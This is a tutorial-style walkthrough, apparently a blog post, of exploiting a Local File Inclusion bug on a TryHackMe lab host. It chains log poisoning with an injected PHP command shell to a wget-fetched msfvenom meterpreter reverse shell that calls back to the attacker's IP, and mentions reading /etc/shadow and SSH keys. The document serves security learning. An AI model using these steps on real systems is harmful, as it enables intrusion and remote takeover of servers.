A Local File Inclusion (LFI) vulnerability allows an attacker to read internal system files. In a worst case scenario – it could lead to remote access. This post demonstrates how a remote attacker could achieve a reverse meterpreter shell from manually exploiting a LFI vulnerability. The demonstration is conducted by using a vulnerable host at TryHackMe. Make sure you check them out if you are interested in learning more regarding security and forensics.
Discovering the vulnerability
The image above demonstrates how a webpage gives an indication that there might be a LFI vulnerability. The lfi.php file requests a file, which can be modified in the URL parameter. The parameter can also be fuzzed using a tool such as
dotdotpwn if necessary.
$example_file = $_REQUEST["page"];
Behind the scenes: the code block above shows how lfi.php requests a file. So how can this be exploited? Surely – it can be used to read internal files as well, and not only pages such as about.html and index.html.
/etc/passwd file is now readable by exploiting the LFI vulnerability. Reading internal files is great. However, how can reading files suddenly turn into a reverse shell? An excellent method is Log Poisoning. As the web server is (most likely) keeping logs of the user activity – it can be used to inject malicious code to gain remote access. If the webserver is running a common type of server (such as Apache), the log files are usually found in the
/var/log/apache2/ directory. However, this is not always the case. The paths can change, depending on the type, version, etc. Alright, time to fire up Burp Suite and have a closer look!
/var/log/apache2/access.log file confirms its path. Time to poison that log file and execute some code.
While sending a request to the web server, it is intercepted using Burp. From thereon, the User-Agent is modified to contain PHP code. The code can be used to execute commands directly on the system.
<?php passthru($_GET['toxic']); ?>
The code above would allow the attacker to execute system commands by utilizing a specially crafted web URL. An attacker could, therefore, read the log file and include the “toxic” parameter to execute remote commands.
The URL above would read the access.log file and execute the system command
uname -a by misusing the injected PHP code in the user agent.
The response from Burp shows that the command successfully executed, and the system information is revealed. Great, we can now execute commands! Now what? There are many methods used to obtain a reverse shell. However, my personal favourite is downloading the shell using
wget. This is a great method if the shell contains something else than just a standard reverse connection, such as Metasploit’s Meterpreter.
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.11.9.185 LPORT=1234 > meterpreter.php
The PHP payload can be generated using
msfvenom, as shown above. The payload must then be hosted locally on the attacking machine. This can be done using Python’s Simple HTTP Server, as it is fast and efficient.
The command that will be executed must be encoded to URL format. A simple URL encoder is used to modify the syntax appropriately.
The command is, of course, “a little” different. However, it is now appropriately formatted.
The Simple Python Server is first hosted on port 1337 before executing. When executing the command, the web server responded with a 200 OK message, which means that the payload was successfully downloaded by the targeted system.
- Fire up Metasploit with its famous multi/handler
- Set the payload, lhost, and lport
- Run the module
- Visit http://10.10.56.2/lfi/meterpreter.php
LFI vulnerabilities are more serious than just reading internal files. It could potentially lead to remote access as demonstrated above. However, if the web server is running as root (and not www-data), even more sensitive files could be read. Some examples are
/etc/shadow and SSH keys in the home directories.